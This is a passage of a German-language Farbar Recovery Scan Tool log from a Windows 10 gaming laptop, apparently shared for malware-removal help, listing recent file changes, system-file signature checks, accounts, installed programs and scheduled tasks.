2017-05-12 15:18 - 2010-05-26 11:41 - 00276832 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00248672 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_43.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 04136744 _____ (NVIDIA Corporation) C:\windows\system32\nvapi64.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 03647864 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvapi.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00175736 _____ (NVIDIA Corporation) C:\windows\system32\nvaudcap64v.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00057976 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvhci.sys
2017-05-12 15:16 - 2017-05-03 22:21 - 00048248 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvad64v.sys
2017-05-12 15:15 - 2017-05-12 15:19 - 00000000 ____D C:\windows\SysWOW64\RTCOM
2017-05-12 15:15 - 2017-05-12 15:15 - 00000000 ____D C:\Program Files\Realtek
2017-05-12 15:14 - 2017-06-03 15:51 - 00000000 ____D C:\ProgramData\NVIDIA
2017-05-12 15:14 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation
2017-05-12 15:14 - 2017-05-12 15:21 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\windows\SysWOW64\sda
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files (x86)\Realtek
2017-05-12 15:14 - 2017-05-03 17:41 - 00001951 _____ C:\windows\NvContainerRecovery.bat
2017-05-12 15:14 - 2017-05-01 22:51 - 06437312 _____ (NVIDIA Corporation) C:\windows\system32\nvcpl.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 02479552 _____ (NVIDIA Corporation) C:\windows\system32\nvsvc64.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 01762752 _____ (NVIDIA Corporation) C:\windows\system32\nvsvcr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00548800 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshext.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00392312 _____ (NVIDIA Corporation) C:\windows\system32\nvmctray.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00081856 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshextr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00069752 _____ (NVIDIA Corporation) C:\windows\system32\nvshext.dll
2017-05-12 15:14 - 2017-04-25 23:11 - 07944687 _____ C:\windows\system32\nvcoproc.bin
2017-05-12 15:14 - 2016-08-05 09:11 - 00779232 _____ (Realsil Semiconductor Corporation) C:\windows\system32\Drivers\RtsPer.sys
2017-05-12 15:14 - 2016-07-15 01:40 - 09891328 _____ (Realtek Semiconductor Corp.) C:\windows\SysWOW64\RsCRIcon.dll
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\ProgramData\NVIDIA Corporation
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files\NVIDIA Corporation
2017-05-12 15:13 - 2017-05-12 15:13 - 00000000 ____D C:\windows\Logos
2017-05-12 15:12 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files\Intel
2017-05-12 15:12 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files (x86)\Intel
2017-05-12 15:12 - 2017-05-12 15:15 - 00000000 ____D C:\Intel
2017-05-12 15:12 - 2017-05-12 15:12 - 00000000 _____ C:\windows\system32\GfxValDisplayLog.bin
2017-05-12 15:12 - 2016-11-21 08:25 - 00113664 _____ (Khronos Group) C:\windows\system32\OpenCL.DLL
2017-05-12 15:12 - 2016-11-21 08:25 - 00104448 _____ (Khronos Group) C:\windows\SysWOW64\OpenCL.DLL

==================== Ein Monat: Geänderte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-03 15:52 - 2017-04-11 08:13 - 10102092 _____ C:\windows\system32\PerfStringBackup.INI
2017-06-03 15:52 - 2017-04-10 16:15 - 00949228 _____ C:\windows\system32\perfh015.dat
2017-06-03 15:52 - 2017-04-10 16:15 - 00287122 _____ C:\windows\system32\perfc015.dat
2017-06-03 15:52 - 2017-04-10 16:11 - 00575364 _____ C:\windows\system32\perfh014.dat
2017-06-03 15:52 - 2017-04-10 16:11 - 00204292 _____ C:\windows\system32\perfc014.dat
2017-06-03 15:52 - 2017-04-10 16:07 - 00943554 _____ C:\windows\system32\perfh010.dat
2017-06-03 15:52 - 2017-04-10 16:07 - 00280760 _____ C:\windows\system32\perfc010.dat
2017-06-03 15:52 - 2017-04-10 16:02 - 00955052 _____ C:\windows\system32\perfh00C.dat
2017-06-03 15:52 - 2017-04-10 16:02 - 00284580 _____ C:\windows\system32\perfc00C.dat
2017-06-03 15:52 - 2017-04-10 15:57 - 00561858 _____ C:\windows\system32\perfh00B.dat
2017-06-03 15:52 - 2017-04-10 15:57 - 00208740 _____ C:\windows\system32\perfc00B.dat
2017-06-03 15:52 - 2017-04-10 15:53 - 00951312 _____ C:\windows\system32\perfh00A.dat
2017-06-03 15:52 - 2017-04-10 15:53 - 00290234 _____ C:\windows\system32\perfc00A.dat
2017-06-03 15:52 - 2017-04-10 15:40 - 00589994 _____ C:\windows\system32\perfh006.dat
2017-06-03 15:52 - 2017-04-10 15:40 - 00206668 _____ C:\windows\system32\perfc006.dat
2017-06-03 15:52 - 2017-03-20 06:35 - 01291126 _____ C:\windows\system32\perfh007.dat
2017-06-03 15:52 - 2017-03-20 06:35 - 00299020 _____ C:\windows\system32\perfc007.dat
2017-06-03 15:51 - 2017-03-18 23:03 - 00000000 ____D C:\windows\AppReadiness
2017-06-03 15:46 - 2017-04-11 08:04 - 00000006 ____H C:\windows\Tasks\SA.DAT
2017-06-03 15:45 - 2017-03-18 13:40 - 00786432 _____ C:\windows\system32\config\BBI
2017-06-03 00:53 - 2017-03-18 23:03 - 00000000 ____D C:\windows\rescache
2017-06-03 00:53 - 2017-03-18 22:51 - 00000000 ____D C:\windows\CbsTemp
2017-06-03 00:52 - 2017-04-11 08:12 - 00000000 ____D C:\windows\SysWOW64\XPSViewer
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\winrm
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\WCN
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\slmgr
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\Printing_Admin_Scripts
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\winrm
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\WCN
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\slmgr
2017-06-03 00:52 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\Printing_Admin_Scripts
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\SysWOW64\F12
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\SysWOW64\DiagSvcs
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ___RD C:\windows\ImmersiveControlPanel
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ___RD C:\Program Files\Windows Defender
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\oobe
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\MUI
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Dism
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Com
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\WinBioPlugIns
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\SystemResetPlatform
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\MUI
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\migwiz
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\Com
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\PolicyDefinitions
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\IME
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Help
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\System
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Photo Viewer
2017-06-03 00:52 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Defender
2017-06-03 00:52 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\Sysprep
2017-06-03 00:52 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\Dism
2017-06-03 00:52 - 2017-03-18 13:40 - 00000000 ____D C:\windows\servicing
2017-06-03 00:51 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\F12
2017-06-03 00:51 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\DiagSvcs
2017-06-03 00:51 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\oobe
2017-06-03 00:51 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows Photo Viewer
2017-06-03 00:08 - 2017-03-18 23:03 - 00000000 ___HD C:\windows\system32\GroupPolicy
2017-06-03 00:08 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\GroupPolicy
2017-06-02 16:41 - 2017-04-11 08:03 - 00388560 _____ C:\windows\system32\FNTCACHE.DAT
2017-06-01 22:06 - 2017-03-18 23:01 - 00000000 ____D C:\windows\INF
2017-06-01 17:51 - 2017-03-18 23:03 - 00000000 ___HD C:\Program Files\WindowsApps
2017-05-31 15:28 - 2017-04-11 08:10 - 00000000 ____D C:\ProgramData\Package Cache
2017-05-31 15:11 - 2017-03-18 22:56 - 00465408 _____ (Microsoft Corporation) C:\windows\system32\dpnet.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00389632 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnet.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00217600 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplayx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\dpnathlp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnathlp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpwsockx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\dpnsvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpmodemx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnsvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplaysvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhupnp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhpast.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhupnp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhpast.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnlobby.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnaddr.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnlobby.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnaddr.dll
2017-05-31 15:09 - 2017-03-18 23:03 - 00000000 ____D C:\windows\LiveKernelReports
2017-05-31 13:35 - 2017-04-11 08:17 - 00565416 _____ (Microsoft Corporation) C:\windows\system32\MpSigStub.exe
2017-05-31 13:28 - 2017-04-11 08:03 - 00000000 ____D C:\windows\system32\SleepStudy
2017-05-30 22:02 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\microsoft shared
2017-05-30 13:21 - 2017-04-11 08:07 - 00000000 __RHD C:\Users\Public\AccountPictures
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\appraiser
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\ShellExperiences
2017-05-30 09:52 - 2017-03-18 23:03 - 00000167 _____ C:\windows\win.ini
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\en-GB
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\en-GB
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Provisioning
2017-05-30 08:02 - 2017-04-11 08:16 - 132223576 ____C (Microsoft Corporation) C:\windows\system32\MRT.exe
2017-05-30 08:02 - 2017-04-11 08:16 - 00000000 ____D C:\windows\system32\MRT
2017-05-30 07:56 - 2017-03-18 23:03 - 00000000 ____D C:\windows\appcompat
2017-05-29 16:19 - 2017-04-11 08:10 - 00002766 _____ C:\windows\System32\Tasks\OneDrive Standalone Update Task v2
2017-05-18 04:34 - 2017-02-08 10:00 - 00045061 _____ C:\windows\system32\nvinfo.pb
2017-05-13 07:06 - 2017-03-18 23:03 - 00028672 _____ C:\windows\system32\config\BCD-Template
2017-05-12 15:22 - 2017-04-11 08:32 - 00000051 _____ C:\windows\smsts.ini
2017-05-12 15:22 - 2017-04-11 08:32 - 00000000 _____ C:\windows\authtest.txt
2017-05-12 15:22 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\WinBioDatabase
2017-05-12 15:10 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2017-06-02 17:04 - 2017-06-02 17:04 - 0011568 _____ () C:\Users\****\AppData\Local\InstallationConfiguration.xml
2017-06-02 17:04 - 2017-06-02 17:04 - 0140800 _____ () C:\Users\****\AppData\Local\installer.dat
2017-05-30 09:56 - 2017-05-30 09:56 - 0000017 _____ () C:\Users\****\AppData\Local\resmon.resmoncfg

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\windows\system32\winlogon.exe => Datei ist digital signiert
C:\windows\system32\wininit.exe => Datei ist digital signiert
C:\windows\explorer.exe => Datei ist digital signiert
C:\windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\windows\system32\svchost.exe => Datei ist digital signiert
C:\windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\windows\system32\services.exe => Datei ist digital signiert
C:\windows\system32\User32.dll => Datei ist digital signiert
C:\windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\windows\system32\userinit.exe => Datei ist digital signiert
C:\windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\windows\system32\rpcss.dll => Datei ist digital signiert
C:\windows\system32\dnsapi.dll => Datei ist digital signiert
C:\windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-04-11 08:03

==================== Ende von FRST.txt ============================
addition:
Code:
Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 02-06-2017
durchgeführt von **** (03-06-2017 16:31:15)
Gestartet von C:\Users\****\Desktop
Windows 10 Home Version 1703 (X64) (2017-05-29 14:19:37)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-743485210-3963512150-464095969-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-743485210-3963512150-464095969-503 - Limited - Disabled)
Gast (S-1-5-21-743485210-3963512150-464095969-501 - Limited - Disabled)
**** (S-1-5-21-743485210-3963512150-464095969-1003 - Administrator - Enabled) => C:\Users\****

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B}
AS: Malwarebytes (Enabled - Up to date) {98619B37-4FC4-67F2-1C99-EEF6D47DBD96}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

2007 Microsoft Office Suite Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
2007 Microsoft Office Suite Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Airplane Mode Hid Installer (HKLM-x32\...\{5E5B067F-52A4-447E-A3F1-D6DD10565E73}) (Version: 5.0.0.2 - )
Anno 1404 (HKLM\...\Steam App 33250) (Version:  - Blue Byte)
Ansel (Version: 382.05 - NVIDIA Corporation) Hidden
Classic Shell (HKLM\...\{383BB30A-B4A7-4666-9A83-22CFA8640097}) (Version: 4.3.0 - IvoSoft)
Control Center 5.0001.1.17 (HKLM-x32\...\{2F385B5D-5F23-4513-B3CE-9F5E4F4B882A}) (Version: 5.0001.1.17 - )
Counter-Strike: Global Offensive (HKLM\...\Steam App 730) (Version:  - Valve)
EgisTec Fingerprint Driver (HKLM-x32\...\InstallShield_{E8C889B8-0A8B-46BA-B433-F7D6968A6543}) (Version: 3.5.1.0 - Egis Technology Inc.)
Europa Universalis IV (HKLM\...\Steam App 236850) (Version:  - Paradox Development Studio)
Fingerprint Driver (x32 Version: 3.5.1.0 - Egis Technology Inc.) Hidden
Garry's Mod (HKLM\...\Steam App 4000) (Version:  - Facepunch Studios)
Grand Theft Auto: San Andreas (HKLM\...\Steam App 12120) (Version:  - Rockstar Games)
Infestation: The New Z (HKLM\...\Steam App 555570) (Version:  - Fredaikis AB)
Insyde Airplane Mode HID Mini-Driver (HKLM\...\AirplaneModeHid) (Version: 1.4.0.3 - Insyde Corporation)
Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.6.0.1039 - Intel Corporation)
Intel(R) Online Connect Software Asset Manager (x32 Version: 3.4.2095 - Intel Corporation) Hidden
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4550 - Intel Corporation)
Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.2.0.1020 - Intel Corporation)
Malwarebytes Version 3.1.2.1733 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.1.2.1733 - Malwarebytes)
Men of War: Assault Squad (HKLM\...\Steam App 64000) (Version:  - Digitalmindsoft)
Men of War: Assault Squad 2 (HKLM\...\Steam App 244450) (Version:  - Digitalmindsoft)
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office File Validation Add-In (HKLM-x32\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
Microsoft Office Live Add-in 1.5 (HKLM-x32\...\{F40BBEC7-C2A4-4A00-9B24-7A055A2C5262}) (Version: 2.0.4024.1 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23506 (HKLM-x32\...\{3ee5e5bb-b7cc-4556-8861-a00a82977d6c}) (Version: 14.0.23506.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23026 (HKLM-x32\...\{74d0e5db-b326-4dae-a6b2-445b9de1836e}) (Version: 14.0.23026.0 - Microsoft Corporation)
Mount & Blade: Warband (HKLM\...\Steam App 48700) (Version:  - TaleWorlds Entertainment)
Mozilla Firefox 53.0.3 (x86 de) (HKLM-x32\...\Mozilla Firefox 53.0.3 (x86 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
NetAdapter (HKLM-x32\...\{0D447139-C8C5-4061-8B4A-0FBE91965131}) (Version: 1.6.1 - devnull)
NVIDIA 3D Vision Treiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 382.05 - NVIDIA Corporation)
NVIDIA GeForce Experience 3.6.0.74 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.6.0.74 - NVIDIA Corporation)
NVIDIA Grafiktreiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 382.05 - NVIDIA Corporation)
NVIDIA HD-Audiotreiber 1.3.34.17 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.17 - NVIDIA Corporation)
NVIDIA PhysX-Systemsoftware 9.16.0318 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.16.0318 - NVIDIA Corporation)
NvNodejs (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
NvTelemetry (Version: 2.4.10.0 - NVIDIA Corporation) Hidden
NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden
Overwolf (HKLM-x32\...\Overwolf) (Version: 0.104.210.0 - Overwolf Ltd.)
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.14393.21292 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.10.714.2016 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.8029 - Realtek Semiconductor Corp.)
Rocket League (HKLM\...\Steam App 252950) (Version:  - Psyonix, Inc.)
SHIELD Streaming (Version: 7.1.0370 - NVIDIA Corporation) Hidden
SHIELD Wireless Controller Driver (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
Sound Blaster Cinema 3 (HKLM-x32\...\{883EEEA5-1C5A-42BD-96C3-796F2ACB9120}) (Version: 1.00.14 - Creative Technology Limited)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
Stellaris (HKLM\...\Steam App 281990) (Version:  - Paradox Development Studio)
Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 19.3.4.58 - Synaptics Incorporated)
Tabletop Simulator (HKLM\...\Steam App 286160) (Version:  - Berserk Games)
TeamSpeak 3 Client (HKLM\...\TeamSpeak 3 Client) (Version: 3.1.4 - TeamSpeak Systems GmbH)
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.78313 - TeamViewer)
The Guild II: Renaissance (HKLM\...\Steam App 39680) (Version:  - Rune Forge)
Total Commander 64-bit (Remove or Repair) (HKLM-x32\...\Totalcmd64) (Version: 9.0 - Ghisler Software GmbH)
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
Update für Microsoft Office Excel 2007 Help (KB963678) (HKLM-x32\...\{90120000-0016-0407-0000-0000000FF1CE}_ENTERPRISE_{BEC163EC-7A83-48A1-BFB6-3BF47CC2F8CF}) (Version:  - Microsoft)
Update für Microsoft Office Outlook 2007 Help (KB963677) (HKLM-x32\...\{90120000-001A-0407-0000-0000000FF1CE}_ENTERPRISE_{F6828576-6F79-470D-AB50-69D1BBADBD30}) (Version:  - Microsoft)
Update für Microsoft Office Powerpoint 2007 Help (KB963669) (HKLM-x32\...\{90120000-0018-0407-0000-0000000FF1CE}_ENTERPRISE_{EA160DA3-E9B5-4D03-A518-21D306665B96}) (Version:  - Microsoft)
Update für Microsoft Office Word 2007 Help (KB963665) (HKLM-x32\...\{90120000-001B-0407-0000-0000000FF1CE}_ENTERPRISE_{38472199-D7B6-4833-A949-10E4EE6365A1}) (Version:  - Microsoft)
Vulkan Run Time Libraries 1.0.42.1 (HKLM\...\VulkanRT1.0.42.1) (Version: 1.0.42.1 - LunarG, Inc.)
WHV4aVqDz8Bs1NavW version 1.0 (HKLM-x32\...\{1fd06d23-1810-464b-b9c5-b92c28776962}_is1) (Version: 1.0 - )
WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {0C4D4B81-F450-4B0B-8C72-E729304B408F} - System32\Tasks\Overwolf Updater Task => C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [2017-05-14] (Overwolf LTD)
Task: {0F554480-7D29-423E-A816-01813EC1A22E} - System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 => C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe
Task: {2FE85189-217B-485E-92C6-5492C0B47F50} - System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA GeForce Experience.exe [2017-05-03] (NVIDIA Corporation)
Task: {3643BE30-1B19-4C8B-B477-934A71E7FBD5} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-05-03] (NVIDIA Corporation)
Task: {42CCB202-504C-4449-8CA7-BDFA2F30CA79} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7 => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {4BED09D5-6922-4AB0-A5F7-02573B1A17CD} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {532C17B9-861A-40D4-AB56-24DDCD9FFD0D} - System32\Tasks\OneDrive Standalone Update Task v2 => %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
